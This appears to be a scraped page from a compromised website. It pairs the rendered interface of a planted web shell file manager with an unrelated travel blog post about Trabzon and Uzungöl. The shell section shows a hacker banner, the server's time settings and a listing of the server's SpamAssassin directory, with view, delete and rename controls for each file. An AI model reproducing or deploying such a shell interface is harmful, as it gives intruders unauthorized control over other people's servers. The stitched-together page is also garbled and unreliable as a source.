Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-06 13:12:02
curdir: / / var / lib / spamassassin / 4.000001 / updates_spamassassin_org / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2026-01-04 11:47:22 0755
.. 4096 2026-01-04 11:47:22 0755
10_default_prefs.cf 8768 2026-01-04 11:47:22 0644
10_hasbase.cf 2452 2026-01-04 11:47:22 0644
20_advance_fee.cf 7612 2026-01-04 11:47:22 0644
20_aux_tlds.cf 41592 2026-01-04 11:47:22 0644
20_body_tests.cf 7180 2026-01-04 11:47:22 0644
20_compensate.cf 1935 2026-01-04 11:47:22 0644
20_dnsbl_tests.cf 10544 2026-01-04 11:47:22 0644
20_drugs.cf 15525 2026-01-04 11:47:22 0644
20_dynrdns.cf 11386 2026-01-04 11:47:22 0644
20_fake_helo_tests.cf 9286 2026-01-04 11:47:22 0644
20_freemail.cf 3060 2026-01-04 11:47:22 0644
20_freemail_domains.cf 41353 2026-01-04 11:47:22 0644
20_freemail_mailcom_domains.cf 4420 2026-01-04 11:47:22 0644
20_head_tests.cf 27477 2026-01-04 11:47:22 0644
20_html_tests.cf 10738 2026-01-04 11:47:22 0644
20_imageinfo.cf 5302 2026-01-04 11:47:22 0644
20_mailspike.cf 2931 2026-01-04 11:47:22 0644
20_meta_tests.cf 3504 2026-01-04 11:47:22 0644
20_net_tests.cf 1880 2026-01-04 11:47:22 0644
20_pdfinfo.cf 15899 2026-01-04 11:47:22 0644
20_phrases.cf 8155 2026-01-04 11:47:22 0644
20_porn.cf 2062 2026-01-04 11:47:22 0644
20_ratware.cf 16871 2026-01-04 11:47:22 0644
20_uri_tests.cf 6039 2026-01-04 11:47:22 0644
20_vbounce.cf 20766 2026-01-04 11:47:22 0644
23_bayes.cf 3009 2026-01-04 11:47:22 0644
25_accessdb.cf 1547 2026-01-04 11:47:22 0644
25_antivirus.cf 1539 2026-01-04 11:47:22 0644
25_asn.cf 1975 2026-01-04 11:47:22 0644
25_dcc.cf 2957 2026-01-04 11:47:22 0644
25_dkim.cf 5711 2026-01-04 11:47:22 0644
25_dmarc.cf 2078 2026-01-04 11:47:22 0644
25_dnswl.cf 3063 2026-01-04 11:47:22 0644
25_pyzor.cf 1522 2026-01-04 11:47:22 0644
25_razor2.cf 3164 2026-01-04 11:47:22 0644
25_replace.cf 21485 2026-01-04 11:47:22 0644
25_spf.cf 4400 2026-01-04 11:47:22 0644
25_textcat.cf 1771 2026-01-04 11:47:22 0644
25_uribl.cf 20003 2026-01-04 11:47:22 0644
25_url_redirectors.cf 4420 2026-01-04 11:47:22 0644
25_url_shortener.cf 11260 2026-01-04 11:47:22 0644
30_text_de.cf 26305 2026-01-04 11:47:22 0644
30_text_fr.cf 19803 2026-01-04 11:47:22 0644
30_text_it.cf 1861 2026-01-04 11:47:22 0644
30_text_nl.cf 20631 2026-01-04 11:47:22 0644
30_text_pl.cf 17255 2026-01-04 11:47:22 0644
30_text_pt_br.cf 42934 2026-01-04 11:47:22 0644
50_scores.cf 38041 2026-01-04 11:47:22 0644
60_adsp_override_dkim.cf 9340 2026-01-04 11:47:22 0644
60_awl.cf 1514 2026-01-04 11:47:22 0644
60_bayes_stopwords.cf 15085 2026-01-04 11:47:22 0644
60_shortcircuit.cf 2417 2026-01-04 11:47:22 0644
60_txrep.cf 1342 2026-01-04 11:47:22 0644
60_welcomelist.cf 11614 2026-01-04 11:47:22 0644
60_welcomelist_auth.cf 76557 2026-01-04 11:47:22 0644
60_welcomelist_dkim.cf 11095 2026-01-04 11:47:22 0644
60_welcomelist_spf.cf 6251 2026-01-04 11:47:22 0644
60_welcomelist_subject.cf 3913 2026-01-04 11:47:22 0644
72_active.cf 544836 2026-01-04 11:47:22 0644
72_scores.cf 30350 2026-01-04 11:47:22 0644
73_sandbox_manual_scores.cf 4365 2026-01-04 11:47:22 0644
MIRRORED.BY 1080 2026-01-04 11:47:20 0644
STATISTICS-set0-72_scores.cf.txt 1497 2026-01-04 11:47:22 0644
STATISTICS-set1-72_scores.cf.txt 1499 2026-01-04 11:47:22 0644
STATISTICS-set2-72_scores.cf.txt 0 2026-01-04 11:47:22 0644
STATISTICS-set3-72_scores.cf.txt 0 2026-01-04 11:47:22 0644
languages 133600 2026-01-04 11:47:22 0644
local.cf 3218 2026-01-04 11:47:22 0644
regression_tests.cf 2771 2026-01-04 11:47:22 0644
sa-update-pubkey.txt 4777 2026-01-04 11:47:22 0644
user_prefs.template 1912 2026-01-04 11:47:22 0644
Karem - You will visit Trabzon after this article

You will visit Trabzon after this article

  • Home
  • Blogs
  • You will visit Trabzon after this article
Blog Details

You will visit Trabzon after this article

When we talk about picturesque nature, clean air, beautiful forests, green spaces, and clear springs, know that the talk is focused on the charming city of Trabzon, with its wonderful sea views of the Black Sea.

The city of Trabzon, which is called the Pearl of the Black Sea, is one of the most beautiful parts of Turkey. It is close to the Georgian border from the northeastern side of Turkey, and near it is the city of Rize, which exports tea to various parts of the world.

 

Trabzon is approximately 1069 km from Istanbul, 39 meters above sea level, where the port of Trabzon is located on the Black Sea. The city’s population is approximately 757,000, according to 2019 statistics, and its area is approximately 4,000 km. Tourism in Trabzon is the backbone of the city’s economy, as it receives thousands of Arab tourists annually.

Trabzon has a warm climate in summer, and humid and cold in winter, and there is usually a lot of rain and snow in the region.

 

Uzungöl Trabzon - the most important tourist places in Trabzon

Uzungöl Trabzon is one of the most popular tourist destinations, how not? It is the lake that has a special luster, and a distinctive charm, which tops the beauty and splendor of all those around it from the other lakes, as it is located at a distance of approximately 96 km from the city center, and on its sides are the mountainous heights covered with a wonderful green carpet, and you can imagine the amount of beauty represented when you travel In Uzungol, and seeing the view of this lake in the winter, especially, when the fog covers the mountains and the heights around it.